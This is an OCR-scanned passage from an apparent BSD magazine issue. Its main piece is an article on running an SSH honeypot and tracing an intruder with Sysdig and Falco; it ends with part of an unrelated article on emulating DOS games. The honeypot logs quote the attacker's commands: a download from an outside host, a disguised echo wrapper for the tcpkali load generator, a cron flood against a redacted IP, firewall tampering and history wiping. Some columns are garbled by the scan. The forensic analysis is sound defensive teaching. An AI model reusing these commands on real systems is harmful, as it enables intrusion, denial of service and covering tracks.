nodes and cluster. Server-2 delivers messages to with the meetBSD dot ir and 
clients. Server-3 creates a webpage for performed serious training on 
administration. client-1 and client-2, send and store FreeBSD. He started his company (CoreBOX) in Feb 
message respectively. Actually, both client-1 and 2017. CoreBOX is based in Iran’s silicon valley. 


client-2 can read and write messages. 


Tips: 


Full CV: http://in4bsd.com 
¢ nsqlookupd server is the heart of our cluster and 


must be kept safe and secure. His company: http://corebox.ir 
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SECURITY 


Tracking Hacker Activities 
in a Linux Server 


Introduction 


The recent wave of cyber attacks has shown us the 
importance of securing our infrastructure and 
systems. With the advancement of technology, 
attacks are likely to become more frequent and 
sophisticated. Have your systems ever been 
attacked? No? Well, there is a famous saying in 
Information Security: “There are only two types of 
companies: Those who have been hacked and know 
about it and those who have been hacked and don't 
Know about it.” 


What would be the best way of knowing how 
attackers get into your system and what they do 
once they are in? Let yourself be hacked! This may 
seem to be a bad idea, but it is actually not. There 
are techniques which allow you to gather intelligence 
about who is attacking you and what they are doing 
in your systems. If that sounds interesting enough, 
please read on. 


How this article is organized 


First, you will be presented with a few concepts and 
tools. Then, | am going to set up an environment so 
hackers can attack me. After the attack happens, | 
will use a few tools and show you exactly what the 
hacker did in my system. 
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Honeypots 


A Honeypot is an unhardened server with bogus 
data which is intentionally set up to be hacked. 
Security professionals use this mechanism to 
observe an attacker as well as to divert attacks from 
live networks. 


Honeypots play an important role in an organization 
because they not only allow security professionals to 
learn the latest techniques being used by hackers 
but also to discover zero-day vulnerabilities (i.e., 
vulnerabilities for which patches are still not ready). 


Users around the world have been using honeypots 
and have gathered information about malicious IP 
addresses, dictionary attackers, bad web hosts and 
Spam servers. All this information can be found on 
the Project Honey Pot website: 


httos://www.projecthoneypot.org/. 
Honeynets 


A Honeynet is simply a network of honeypots. For 
instance, if you have a datacenter, you could set up 
multiple virtual machines to be honeypots on a 
single physical server. The advantage of having a 
honeynet is that attackers would likely believe that 
they are in a live network because there are other 
vulnerable servers around. That would give 


administrators a good opportunity to observe an 
attack. 


There is a project called “The Honeynet Project’, 
which aims to share tools and tactics used in 
computer and network attacks: 


httos://www.honeynet.org/ 
Be careful with Honeypots 


You will notice that in this article, | will not incentivize 
you to follow along. At the same time that a 
honeypot can provide you with valuable intelligence, 
it can also cause significant damage. If you do not 
have experience managing systems or networks, it is 
advisable that you do not try to reproduce what you 
will learn here without the help of a professional. 


The goal of this article is to set up a very simple and 
controlled server to be hacked. However, that could 
be easily shut down in case the attacker uses it to 
perform, for example, a Denial of Service (or DoS) 
attack. 


Tracking down hacker activities 


Managing honeypots can be a daunting task. 
Normally, you would want to have sensors to help 
you understand the types of attacks that are 
happening. But installing and managing all the 
software yourself can be somewhat challenging. 
Fortunately, a tool called Modern Honey Network (or 
MHN) has been developed by ThreatStream to make 
the deployment and management of honeypot 
sensors a simple task. MHN supports sensors such 
as Snort, Kippo, Dionaea, and Suricata, and 
provides a web interface and an API through which 
threat intelligence can be retrieved. 


This article will not, however, focus on how to use 
MHN. Instead, it will focus on a simpler use case 
where Sysdig and Falco will be used to track down 
hacker activities. Nevertheless, even if you decide to 
use MHN, the tools and techniques presented in this 
article can still be applied. 


Environment 


The environment will be comprised of a honeypot 
server with Sysdig, Falco and Logstash installed on 
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it and a separate Elasticsearch cluster with Kibana. 
Sysdig will be executed in a way that all events will 
be sent to a capture file, and Falco will be configured 
so It monitors different kinds of behaviors. 


since all Falco alerts will be sent to syslog, both 
syslog and auth.log will be shipped to Elasticsearch 
by Logstash. Finally, we will use Kibana and Sysdig 
to trace all the malicious activities. 


Brief introduction: Sysdig and Falco 


Sysdig (hitos://www.sysdig.org/) is a powerful tool 
that allows you to dig deep into your system and 


have a clear picture of what is happening. It allows 
you to do things like: identify bottlenecks by 
checking the slowest system calls; visualize OS 
latency in real time; spy on users and see what 
Commands were issued; and much more. Falco 
(https://www.sysdig.org/falco/), on the other hand, is 
a behavioral activity monitoring tool that detects and 
alerts on any suspicious activities which involve 
making Linux system calls that can be tracked by 
Sysdig’s system call capture capabilities. 


Setting up the trap 


This article will not be focusing on installing the tools 
mentioned above. That is because you can easily 
find on the Internet how to do it. Besides, by the 
time you read this, it could be that the maintainers of 
these tools have already changed the installation 
orocedures, which would invalidate the steps 
learned here. Instead, | will discuss how | configured 
the honeypot once everything was installed. 


Virtual Machine 


| used an Ubuntu 16.04 LTS virtual machine and set 
up a few users with weak passwords. Usually, 
hackers will try to log in as root, admin, test and 
some other common usernames. What | did in my 
virtual machine was to set up three users (already 
mentioned): root, admin, and test. Then, | configured 
sshd to allow the usage of password and set up 
weak passwords for these users (e.g., “password”, 
“admin” or “123456”). This is just so hackers can 
easily break in. 


Logstash (version 2.3.4) 


For Logstash, | used the configuration below: 
input { 
file { 
path => "/var/log/syslog" 
start_position => "end" 
type => "syslog" 


tags => ["syslog"] 


file { 
path => "/var/log/auth.log" 
start_position => "end" 
type => "auth-log" 


tags => ["auth-log"| 


filter { 
if [type] == "syslog" { 
grok { 
match => { "message" => "%{SYSLOGTIMESTAMP:syslog_timestamp} 
%{SYSLOGHOST:syslog_hostname} 
%{DATA:syslog_program}(?:\[Y%{POSINT:syslog_pid}\})?: 
%{GREEDYDATA:syslog_message}" } 
add_field => [ "received_at", "%{@timestamp}" | 
add_field => [ "received_from", "%{host}" ] 
} 
syslog_pri { } 


date { 


match => [ "syslog_timestamp", "MMM dHH:mm:ss", "MMM dd 
HH:mmiss" | 


} 


output { 
elasticsearch { 
hosts => ["ES_URL:80"] 


index => "INDEX" 


Sysdig (version 0.19.1) 


| used the following command to stream all events to 
a file called capture.scap.gz: 


sysdig -s 4096 -z -w /etc/pollinate/.sysdg/capture.scap.gz > 
/dev/null 2>&1 & 


Briefly, the -s option tells sysdig to capture the first 
4096 bytes of each I/O buffer; the -w option writes 
the captured events to the specified file; and the -z 
option, since we are using -w, will just compress the 
capture file. 


Also, notice that the file has been placed in a weird 
path: /etc/pollinate/.sysdg. This is just so the attackers 
do not see that we are tracking them down with 
Sysdig. 


Falco (version 0.8.1) 


| did not configure Falco because after you install it, 
there will be quite a lot of rules preconfigured which 
might be enough to catch intruders. These rules can 
be found in a file called falco_rules.yaml at /etc/falco. 
lf you would like to add custom rules, you can do so 
by adding the rules to falco_rules.local.yamI. 


At the moment, Falco can be started as a service. 
But if that changes, | suggest you check either its 
online documentation or the options available using 
its command-line interface. 


Elasticsearch (version 2.3) 


| chose not to host my own Elasticsearch. Instead, | 
used a cloud provider which offers Elasticsearch 
and, as you can imagine, Kibana. 


First hack attempt 


After just a few minutes, the first attempt was made: 


» October 27th 2017, 14:00:05.913 pessage: Oct 27 18:00:04 ip-172-31-26-238 sshd[1813@]: Connection from 17 
6.126.237.214 port 65407 on 172.31.26.238 port 22 @version: 1 
@timestamp: October 27th 2017, 14:00:05.913 path: /var/log/auth.log 
host: ip-172-31-26-238 type: auth-log tags: auth-log _id: AV9e_bbQsVa6bu 


VWs) Fat a mietkthh Taw in Aaw « hanover IAA 7 7A 2S 


As you can see in the image above, the honeypot server received an SSH connection from the IP address 
176.126.237.214. The attacker tried to guess the password of the admin user but failed to do so: 


» October 27th 2017, 14:00:23.926 message: Oct 27 18:00:23 ip-172-31-26-238 sshd[1813@]: Connection closed b 
y 176.126.237.214 port 65407 [preauth] @version: 1 @timestamp: October 2 
7th 2017, 14:00:23.926 path: /var/log/auth.log host: ip-172-31-26-238 
type: auth-log tags: auth-log _id: AV9e_fz_sVa6ukKWiuZeG _type: auth-log 


hrnnoaunn4 724477 7A99 


. 
4 nAaw : 


» October 27th 2017, 14:00:23.926 message: Oct 27 18:00:23 ip-172-31-26-238 sshd[1813@]: PAM 2 more authenti 
cation failures; logname= uid=@ euid=@ tty=ssh ruser= rhost=176.126.237.21 
4 user=admin @version: 1 @timestamp: October 27th 2017, 14:00:23.926 
path: /var/log/auth.log host: ip-172-31-26-238 type: auth-log tags: aut 


bh Tas ta. AVQe f€6 «Veo VW Fou ———— oP meee Eadaes:e hanevnat.7017 1 


» October 27th 2017, 14:00:14,922 message: Oct 27 18:00:14 ip-172-31-26-238 sshd[1813@]: Failed password for 


admin from 176.126.237.214 port 65407 ssh2 @version: 1 @timestamp: Octob 
er 27th 2017, 14:00:14.922 path: /var/log/auth.log host: ip-172-31-26-238 
type: auth-log tags: auth-log _id: AV9e_dn2sVa6uKWiuZeE type: auth-log 


lon Aw « lee rare i- *nh ae Bae 


After this attempt, there were several others during hours but | waited until an attacker successfully logged into 
the honeypot. 
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Game on! 


The honeypot server was finally hacked: 


» October 27th 2017, 23:26:45.163 message: Oct 28 03:26:44 ip-172-31-29-174 sshd[18186]: Accepted password f 


or root from 95.211.171.170 port 54468 sshZ @version: 1 @timestamp: Octob 


er 2/th 2017, 23:26:45.163 path: /var/log/auth.log host: ip-1/72-31-29-174 


type: auth-log tags: auth-log id: AV9ONBHSpsVabukWiuajw type: auth-log 


| kept checking Kibana to see what the attacker was up to. Moments after, Falco alerted me that a file below a 
binary directory had been renamed or removed: 


» October 27th 2017, 23:29:43,000 message: Oct 28 03:29:43 ip-172-31-29-174 falco: @3:29:43.264100311: Error 


File below known binary directory renamed/removed (user=root command=mv /bi 
n/echo /bin/.ebk operation=rename file=<NA> res=<@ oldpath=/bin/echo newpath 


=/bin/.ebk ) @version: 1 @timestamp: October 27th 2017, 23:29:43.000 


lf you take a close look at the command that was run, the attacker renamed the binary file of the echo 
command. Seeing that an attack could be imminent, | immediately configured the server’s firewall via my cloud 
provider’s console to deny any outbound traffic. | did that to prevent the attacker from potentially launching 
DoS attacks on other servers. 


After a few minutes, | figured that the attacker could potentially have given up since the server was locked 
down. And | was right: 


» October 25th 2017, 08:30:10.7/19 pessage: Oct 28 03:34:41 ip-172-31-29-174 sshd[18186]: Received disconnect 


from 95.211.171.170 port 54460:11: disconnected by user @version: 1 


@timestamp: October 28th 2017, 08:30:10.719 path: /var/log/auth.log 


host: ip-172-31-29-174 type: auth-log tags: auth-log _id: AV9nPo-fsVabu 


Well, time to explore what happened! 
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Sysdig to the rescue 
To start off with, | double checked that the attacker 


did not have enough time to generate a massive 
network traffic: 


$ sysdig -r capture.scap.gz -c topprocs_net 


Bytes Process PID 
11.74M http 16253 
441.39KB curl 18242 
322.89KB [main]>workerO = 1223 
164.70KB sshd 18186 
4.88KB sshd 23431 
3.32KB sshd 18187 
3.25KB sshd 17586 
3.07KB sshd 23432 
495B http 23423 
440B http 23424 
380B ping 23352 
350B http 23422 
306B http 23421 
136B ping 23395 


That is a relief. We only had 11.74M of traffic 
generated by the http process, but that does not 
seem to be anything serious. By the way, have you 
seen how | used sysdig to get these results? The -r 
option provides sysdig with a capture file and the -c 
option specifies a chisel (a script that analyzes the 
captured data and provides meaningful intelligence). 
| will be using a few chisel scripts to analyze the 
attacker’s actions. 
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Next, let us take a look at the commands that were 
run: 


$ sysdig -r capture.scap.gz -c spy_users 

18219 03:27:11 root) w 

18219 03:27:20 root) uname -a 

18219 03:27:24 root) /usr/bin/pythons -Es /usr/bin/Isb_release -a 
18219 03:27:28 root) cat /proc/cpuinfo 

18219 03:27:31 root) ifconfig 


18219 03:27:38 root) /bin/sh /usr/bin/which curl 


So far so good. The attacker seemed to be just 
gathering information about the server: operating 
system, CPU and network. Take a look at the next 
action: 


18219 03:27:54 root) curl -sO 


http://dhnak.ajdns.com/n8zga6hs/d8f98wu/o2ks9mgh7zngd5a4d.tar. 
gz 


Now we have something. The attacker silently 
downloaded a tarball named o2ks9mqh/zng5a4d. 
Surely, | would not be able to tell what this is as the 
name is clearly a random string. Let’s move on and 
see if we will find out more about this file. 


18219 03:28:02 root) mkdir oaisdj 


18219 03:28:13 root) tar xf o2ks9mgh7zng5da4d.tar.gz -C oaisd} 
--strip-components 1 


18219 03:28:17 root) cd /root/oaisdj 
18219 03:28:28 root) Is --color=auto -la 


18219 03:28:38 root) apt-get install -y autoconf automake libtool-bin 
bison flex g++ 


18219 03:28:49 root) /usr/bin/perl -w /usr/bin/autoreconf -iv 


18219 03:29:00 root) /bin/bash ./configure 


18219 03:29:28 root) make 18219 03:30:30 root) ping google.com -c1 


18219 03:29:35 root) make install Remember that | locked the server down by adding 
a deny rule to the server’s firewall? | wonder if any 
packets were sent by the ping command. 


In summary, the attacker first unarchived the tar.gz in $ sysdig -r capture.scap.gz -c echo_fds fd.cip=google.com 
a new directory, installed a couple of packages and grep google.com 
manually compiled the downloaded tool. Still, this 


Rogeiietn dee (a Read 34B from /dev/pt hd 
doesn’t tell us much. ea rom /dev/ptmx (sshd) 


--- google.com ping statistics --- 
18219 03:29:40 root) cd /root 


eee REE Read 59B from /dev/ptmx (sshd) 
18219 03:29:43 root) vim echo 


1 packets transmitted, 1 received, 0% packet loss, time Oms 
18219 03:30:14 root) mv /bin/echo /bin/.ebk 


$ sysdig -r trace.scap.gz -c tooprocs net proc.name=pin 
18219 03:30:18 root) chmod +x echo yeas ee st a oe 


. Bytes Process PID 
18219 03:30:23 root) mv -f echo /bin/echo 
Did you see what just happened? The attacker 345B ping 31723 
created a script called echo and moved it to /bin. 
That is why we received an alert from Falco saying: 
Error File below known eiieny ee etoey pnaiiee ie ineyed Ok, | did not block the traffic in time to stop this 
(user=root command=mv /bin/echo /bin/.ebk operation=rename 
file=<NA> res=0 oldpath=/bin/echo newpath=/bin/.ebk). ping. Let’s move on. 
Now the question is, what is this echo script that 18219 03:30:38 root) crontab -| 
was created? Let’s use sysdig’s echo_fds chisel to 
find ' 18219 03:30:41 root) crontab -e 
ind out. 


$ sysdig -r capture.scap.gz -c echo_fds fd.filename=echo 


lt seems that our attacker was planning to schedule 
something. 


------ Write 42B to /root/echo (vim) 


#!/bin/bash../usr/local/bin/tcpkali "$@".. 


$ sysdig -r capture.scap.gz -c echo_fds fd.filename=crontab 
Wait, tcpkali? Right, now it makes much more sense 


why the attacker made such an effort to hide the file ——------ Write 1.02KB to /tmp/crontab.zTGnOX/crontab (vim.basic) 


being downloaded. If you are not aware, tcpkall 
# Edit this file to introduce tasks to be run by cron..# .# Each task to 


(nttps://github.com/machinezone/tcpkall) eed run has to be defined through a single line.# indicating with different 
powerful TCP and WebSockets load generator. fields when the task will be run.# and what command to run for the 
task.# .# To define the time you can provide concrete values for.# 
The attacker must have been expecting that we minute (m), hour (h), day of month (dom), month (mon),.# and day of 
would be checking the commands history. That is week (dow) or use '*' in these fields (for 'any').# .4# Notice that tasks 


nr GAied 16 Wideik by wiraobina 1epkal around. will be started based on the cron's system.# daemon's notion of 
ae y kc es a time and timezones..# .# Output of the crontab jobs (including errors) 


known command such as echo. Let’s see what the is sent through.# email to the user the crontab file belongs to (unless 


attacker did next: redirected)..# .# For example, you can run a backup of all your user 
accounts.# at 5 a.m every week with:.# 0 5 ** 1 tar -zcf 
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/var/backups/home.tgz /home/.# .# For more information see the 
manual pages of crontab(5) and cron(8).# .# mh dom mon dow 
command.* * * * * /bin/echo -em "GET / HTTP/1.1\\r\\nHost: 
google.com\\r\\n\\r\\n" -r 10000 --channel-bandwidth-upstream 
1000Mbps xxx.xxx.xXxx.xxx:80 > /tmp/uhasd.log. 


There it is! The attacker scheduled the following 
command to run every minute: 


/bin/echo -em "GET / HTTP/1.1\\r\\nHost: 
google.com\\r\\n\\r\\n" -r 10000 
--channel-bandwidth-upstream 1000Mbps xxx.xxx.xxx.xxx:80 
> /tmp/uhasd.log 


Apparently, the plan was to use tcpkali to generate a 
huge traffic to a certain IP address (which has been 
intentionally omitted). Let’s find out if it was a 
SUCCeSS. 


$ sysdig -r capture.scap.gz -c spy_file | grep -B1 -A10 
/tmp/uhasd.log 


03:32:21.118852924 tcpkali(82465) W 258B /tmp/uhasd.log 
Total data sent: 0 bytes (0 bytes) 

Total data received: O bytes (0 bytes) 
Bandwidth per channel: 0.000 Mbps (0.0 kBps) 
Aggregate bandwidth: 0.000, 0.000 Mbps 


Packet rate estimate: 0.0, 0.0 (0, 0 TCP MSS/op) 


Test duration: 10.0047 s. 


Very good news! - tcpkali was not able to generate 
network traffic because of the firewall blockage. Did 
the attacker notice that? 


18219 03:32:31 root) cat /tmp/uhasd.log 
18219 03:32:35 root) ping -c1 google.com 
18219 03:32:41 root) /sbin/iptables -L OUTPUT 


18219 03:32:48 root) /sbin/iptables -| OUTPUT -j; ACCEPT 
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18219 03:32:51 root) /sbin/iptables -] INPUT -j; ACCEPT 
18219 03:32:56 root) /sbin/iptables -L OUTPUT 
18219 03:32:56 root) /sbin/iptables -L INPUT 


18219 03:33:03 root) /bin/bash /bin/echo -em GET / 
HTTP/1.1\r\nHost: google.com\r\n\r\n -r 10000 
--channel-bandwidth-upstream 1000Mbps xXxx.xxx.xxx.xxx:80 


Looks like he did. After checking the logs of his 
cronjob, the attacker tried to ping google.com one 
more time. Then, seeing that ping also could not 
send any data out, he started to play around with the 
iptables firewall. That clearly would not do any good 
since the block was made from outside the server at 
the cloud provider level. It seems that the game is 
over for our attacker. Let’s see what he tried to do 
next: 


18219 03:33:13 root) /bin/sh /usr/bin/which aws 
18219 03:33:17 root) apt install aws 
18219 03:33:22 root) apt-get update 


18219 03:33:33 root) rm -rf /root/o2ks9mgh7zng5da4d.tar.gz 
/root/oaisdj 


18219 03:33:45 root) rm -f /bin/echo 
18219 03:34:03 root) mv /bin/.ebk /bin/echo 


18219 03:34:33 root) rm -f /root/.bash_history 


The attacker also realized that the game was over. 
First, he checked if the AWS command-line interface 
was installed. | guess that he wanted to check if 
there was any attached IAM role which would allow 
him to modify the instance’s security group. Since it 
was not installed, he tried to install it himself. But 
wait, all outbound traffic was cut off, right? Yes, and 
that is why he started deleting any traces of his 
activities in the system by wiping clean the root’s 
home directory and putting back the original binary 
of the echo command. A few seconds later, he was 
out of the system. 


Conclusion 


This article has given you a little taste of how an 
attack can be carried out. It was a 5-minute and very 
simple attack mainly because | did not want my 
server to cause any damage to anyone. But 
hopefully, it was enough to introduce you to the 
concept of Honeypot and tools like Sysdig and 
Falco. 


As you have seen, both Sysdig and Falco can 
provide you with valuable information as to what is 
going on in your system. We were able to identify the 
attacker’s activities with just a few commands. 
However, if you would like to have a honeynet with 
honeypots constantly providing intelligence, you will 
need a bigger arsenal. 


Have a look at tools such as Snort 


(https://www.snort.org/), Suricata 
(https://suricata-ids.org/), Dionaea 
(httos://dionaea.readthedocs.io/en/latest/), Kippo 
(https://github.com/desaster/kippo), Wordpot 
(https://github.com/gbrindisi/wordpot), pOf 
(https://github.com/pOf/pOf), Glastopf 
(https://github.com/mushorg/glastopf), Conpot 
(http://conpot.org/) or Shockpot 
(https://github.com/threatstream/shockpot). 


Meet Our Author 


Also, if you would like to know more about the 
available honeypots and tools out there, check this 
useful github repository: 


httos://github.com/paralax/awesome-honeypots. 


| hope this article has given you an idea of 
techniques that can be used to protect an 
organization. But as you probably have noticed, this 
is just the tip of the iceberg. Cyber Security is sucha 
huge and important field. 


Now, more than ever, companies need Security 
professionals to help keep them safe. If you have 
passion for Cyber Security, join the CybSec Talents 
community on Slack to learn more about Cyber 
Security and connect with people around the world 
that share the same passion as you. Just fill in this 
form and the invite will be on its way shortly: 


https://cybsectalents.typeform.com/to/Kjf0zG 
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AngularJS, Node.js, MongoDB, Meteor.js, lonic, HTML/CSS, LAMP stack, iOS SDK, OpenCV, Java and 
MATLAB. He has also contributed to a Brazilian university's research about Computer Vision and received 
numerous awards during his student life. When not doing any infrastructure-related work, Renan spends his 
time traveling with his loved ones, learning languages (English, Spanish, German and Polish), practicing 
sports (Tennis, Ping Pong, Basketball, Cycling, Kung Fu) and playing the electric guitar and the drums. You 


can find Renan on LinkedIn: https:/Awww.linkedin.com/in/renan-dias-a2801163 
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Emulating DOS Games 


There was a time, in our younger days, when 
everything was joy and fun, and a C:\> prompt. We 
played our games in a little operating system called 
DOS. Oh, glorious days of the past, fond memories 
you ve become. But not to worry, because in this 
article | will explore the best solutions currently 


available to revive those old memories, and run those 


great games on your modern computer using 


VirtualBox, DOSBox or 86Box. In the first part of this 


article, I'll talk about the emulators, while in the last 


part of it, | will show how to configure, install and use 


them. And in a future issue, | will explore how to 
share this experience, with an article on how to 
configure these emulators for multiplayer gaming. 


What is emulation? 


Emulation is the process through which a system 
imitates the behaviour of another system. In this 
particular case, we re talking about applications 
(software) that imitate the behaviour of decades-old 
computers running the DOS operating system, with 
the intention of running old games on our current 
computers. 


VirtualBox 


VirtualBox is not just an emulator, it is a virtualizer. 
That is, it allows using part of your computer's 
hardware like it was present in the system you are 


emulating, especially the CPU. This gives VirtualBox 


its biggest advantage: it is fast, but also presents 
compatibility problems with older games that do not 


MMS 


expect a computer to be so fast, or that expect a 
specific behaviour from the CPU they are running in. 


Figure 1. Dune 2 running on VirtualBox 


On the hardware side, it would be like having a 
blazing fast computer with SuperVGA card and a 
Sound Blaster 16 audio card, with a PS/2 connected 
mouse. It also emulates network cards and a SCSI 
controller, however not the most common of them. 


VirtualBox, as a full computer virtualizer, requires you 
to install an operating system to run on it. You can 
install DOS, Windows 9x, or OS/2 to play games for 
those systems. However, as VirtualBox was not 
designed to be used for games, it has some issues 
with games: 


¢ EMS does not work correctly; if your game requires 
expanded memory (EMS), it will probably crash. 


¢ SuperVGA emulation does not include VBE 
extensions. CGA and EGA emulation are not 
complete. 


- There is no documentation on parameters to 
change for floppy drive type or emulated sound 
card parameters (IRQ or DMA). 


- It emulates only a 3.5" 1.44MB floppy drive, so 
some games will not run or install at all. 


It only supports Audio CD when using a real CD on 
a real drive using the passthrough method. 


But once it works, it is the fastest option. 


You can get VirtualBox for free at 
https://www.virtualbox.org/ or from your operating 
system's package manager. If you are using 
FreeBSD, you have installation and configuration 
instructions, including how to use a real drive for 
CDs, in the FreeBSD handbook, available online at 


https://www.freebsd.org/doc/handbook/virtualization- 
host-virtualbox.html 


DOSBox 


DOSBox is a DOS emulator specifically designed for 
running DOS games. It does not require an operating 
system at all and emulates almost anything you can 
think of. It is fast, but difficult to configure as it 
requires you to edit a config file manually. Sadly, the 
project also appears to have been abandoned, so do 
not expect bugs to be solved. 


On the hardware side, it can emulate several sound 
cards (Adlib, Tandy, Sound Blaster, Sound Blaster 
Pro, Sound Blaster 16, Disney Sound Source and 
Gravis Ultrasound) as well as several video cards 
(Hercules, CGA, EGA, VGA, Tandy, PCjr and $3 
SsuperVGA). It also allows emulating a joystick, for 
games that require them, like flight simulation ones, 
using a real joystick or gamepad of any kind that’s 
Supported by your operating system. 
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Figure 2. Dune 2 running on DOSBox 


The level of compatibility is quite good, and it can run 
on ARM devices like the Raspberry Pi. However, it is 
only limited to DOS games as it doesn't require --nor 
can you install-- other operating systems. 


You can get DOSBox for free at 


https://www.dosbox.com/ or from your operating 
system's manager. 


86Box 


86Box is a brand new system emulator that aims to 
be cycle-exact. This means, to execute any operation 
as fast or as slow as if it was being executed on the 
system it emulates, contrary to what VirtualBox and 
DOSBox, which emulate things as fast as they can 
(or within a certain limit), something that may confuse 
some older software. It is under active development. 
lts biggest disadvantage is that it requires a powerful 
computer to be fast. Its most significant advantage is 
its compatibility, for which it has no rival. 


Hardware-wise, it emulates more than 60 different 
motherboards, up to the level of being able to run 
their BIOS completely, with the ability to specify what 
CPU to connect with it (Cyrix, IDT, AMD or Intel). It 
emulates not only the same cards as DOSBox, but it 
adds more than 20 VESA SuperVGA variations, 
including their VBE features and limitations. 


Soundwise, it emulates all the Sound Blaster models 
from the first one up to the AWE32, even the Creative 
Music Blaster is emulated. Also emulated are Sound 
Blaster PCI, Ensonig ES1371, Adlib, Gravis 
Ultrasound and Windows Sound System. Add to this 


full MIDI emulation as well asa complete Roland - fOtiexr v7.00 - 100% - [486 TSA] AM! ... maeONEslS0 - Click to capture mouse - 


Acton Yew Tools Logging Help 


MT-32 emulation. 


Figure 4. 86Box beta running on FreeBSD 


Thankfully, you can go to 86Box’s IRC channel, 
= #softhistory at irc://irc.rol.im to get help from the 
developers. 


Figure 3. Shadow Warrior running on 86Box 

You can get 86Box from 
https://github.com/Obaittler/86Box. You need to get 
both the executable package and the roms package 
and put them in the same folder, say, 
/ust/local/86Box. 


Other emulated devices are the ubiquitously 
supported NE2000 network card; Adaptec, BusLogic, 
and NCR SCSI cards. It also can emulate IDE, ESDI 
and ST-506 hard disks, as well as all kind of floppy 
drives and CD drives. 


Once you have 86Box extracted to a folder, you can 
specify a command line argument to load an 
emulated system configuration for a specific folder. If 
you decide, for example, to store all your 
configuration folders inside a folder called 86VMs in 
your home folder, you can put a script like the 
following one, in one of the folders in PATH (e.g. 
/ust/local/bin), and just invoke it using your 
configuration folder name as the argument: 


Like VirtualBox, it also requires a real operating 
system, and you can install any operating system 
that was supported on the machine you configure in 
it. Configuration, in general, is easier to do than on 
DOSBox because of 86Box’s integrated configuration 
interface. 


The only major issue that 86Box presents is that a 
BSD or Linux compatible version is undergoing 
development. Therefore, you will need WINE to run 
it, and because it is actively developed, there is nota 
single stable version to pick up. If you have 
FreeBSD, you can install WINE from its repository 


renowing pens UCHels at “which wine’ /usr/local/86Box.exe 
https://wiki.winehq.org/FreeBSD. Not long after the --ympath ~/86VMs/"$1" 


publication of this article, you will be able to test a 
native BSD version of 86Box. 


Example script: 


#! /bin/bash 


So you can put the script as /usr/local/bin/86box. 
Thereafter, create an empty folder at 
~/86VMs/Games. You can just run 86Box Games in 
any terminal to configure that folder as a new 
emulated system for the first time. 
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How to get the games? 


If you still have the CD media for your old games, 
then all you need to do Is to create an ISO of the 
game with your favourite method and point your 
chosen emulator to it. However, if they're floppy 
based, things get trickier here. 


”3.5° games that are not copy protected can be 
converted to disk images using a USB floppy drive. 
However, if they're copy protected or they are in 
5.29 floppies, things get more difficult here, requiring 
old drives and special hardware like the 
SuperCardPro to read. 


In a future article, | will talk about all the various ways 
to read old media from original disks. 


sometimes you can also buy old games from 
services like GOG (https://www.gog.com) or Steam 


(https://www.steampowered.com). Also, you can 
always resort to the second-hand market. 


If you need a DOS operating system, try FreeDOS, 
an open-source replacement operating system for 
DOS, downloadable from http://www.freedos.ord/ . 


How to configure VirtualBox? 


VirtualBox configuration is easy, driven by a 
wizard-like walkthrough. Once installed, just open it, 
select New and the first step of the wizard will 
appear. Give it any name you like, and choose for 
type Other if you want to install DOS, ideal for DOS 
games, or Windows for Windows 9x games. 


Then on version, you choose DOS or which Windows 
version you have to install, Windows 95 or Windows 
98. | do not recommend using Windows Me because 
of several stability issues it presents. In the next step, 
youll be given the option to choose how much 
memory to dedicate to the emulated system. 32MB is 
enough, and more than that is known to bring issues 
in some games. 


The next step will let you choose the emulated hard 
disk size. 2GB is the maximum you can support with 
DOS or Windows 95, and it’s the default option. The 
following two steps, emulated hard disk type and 
allocation, can be left with the default options. The 
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final steps asks you a name for the emulated hard 
disk, that defaults to the emulated system name you 
gave before, and can be left as is. 


Once done, you can install an operating system from 
a CD or floppy image. Continue reading for 
instructions on how to install FreeDOS. 


How to configure DOSBox? 


DOSBox comes with a default configuration that 
should be enough for most common use cases. Once 
you run it for its first time, it stores these default 
values in a text file located in ~/.dosbox/dosbox.conf. 
This is the file you must edit if you want to customize 
its configuration. 


As said above, you dont need to install an operating 
system on it, you just run dosbox <path> indicating 
which path you want to use as the emulated C: drive. 


Once inside DOSBox , you would need to mount the 
game disks. If you have copied the files from the 
installation disks to your computer, you have to use 
MOUNT <drive> <path> -T <type>, with <drive> 
being the DOS drive letter to use, <path> the folder 
where you mounted the disk or copied the files and 
<type> being floppy, for emulating a floppy, or cdrom, 
for emulating a cdrom. 


lf you have created disk images, the command to use 
is IMGMOUNT <drive> <image> -T <type>, with 
<drive> being the DOS drive letter to use, <image> 
the path to the disk image you created and <type> 
being floppy, for emulating a floppy, or /so, for 
emulating a cdrom. You can check more options, and 
explanation on the different field in the configuration 
file, in the dosbox’s wiki at 


https:/(www.dosbox.com/wiki 


How to configure 86Box? 


The first time you run 86Box , it will create a default 
configuration for an emulated AMI XT clone, and start 
running it. You can change the configuration 
choosing settings from the Tools menu. The first 
option you'll have is machine, where a long list of 
machines can be selected. If you don’t Know which 
one to choose, the Epox P55-VA with a Pentium 120 
and 32MB of memory is one of the most compatible 
ones. 


Figure 5. 86Box Settings 


In the display, you can choose which exact graphics 
card to emulate. The most compatible would be the 
[PCI] Diamond Stealth 3D 3000, with video speed as 
Fast VLB/PCI. 


Here, you can enable Voodoo Graphics if you want to 
emulate a 3Dfx Voodoo or Voodoo 2 3D accelerator 
card. On input devices, you can choose which mouse 
to emulate, PS/2 Microsoft Intellimouse if you're 
using the recommended machine. In sound, you can 
choose from an array of options. 


The most featured ones, and so the recommended 
ones, would be the Sound Blaster AWE32 in sound 
card and the Roland MT-32 in midi out device. You 
can choose the Gravis Ultrasound that offers the best 
sounds in the games that support it, but requires 
extra configuration steps. 


Click on the configure button next to the sound card 
selection to see the parameters page like this one: 
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Figure 6. Device Configuration 


Note these parameters if you are going to install 
DOS, as you'll need them later. 


In other peripherals, you can choose the hard disk 
controllers. If following the recommended steps, 
chose Internal Controller in the HD Controller drop. 
You can create a new hard disk image in the Hard 
disks page, or choose an existing one. When 
creating a new one, you only need to select a disk 
image file and its size. Bus would need to be 
changed if you did not choose Internal Controller in 
the previous step. 


And last but not least in Removable devices, you can 
change which type of emulated floppy drives to have, 
recommended to have 3.5" 1.44M as the only one. 
Add a cdrom drive, ATAPI with channel 0:1 Is 
recommended. 


Once you save the configuration, 86Box will reboot 
into the newly emulated system. If you have not 
followed the defaults, you should enter in the 
emulated firmware setup (or BIOS) menu and 
configure it accordingly. Because of the many 
variants of firmware that are emulated by 86Box , 
their different configuration is out of the scope of this 
article. You can, however, search on the internet for 
the manuals of the machine you've chosen. 


How to install FreeDOS? 


FreeDOS is easy to install. Both on VirtualBox and 
86Box, you'll find an icon with the image of a 
CDROM in the downside of their window, and clicking 
here, you'll have the option to choose a CDROM 
image. Choose the FreeDOS CDROM “legacy” 
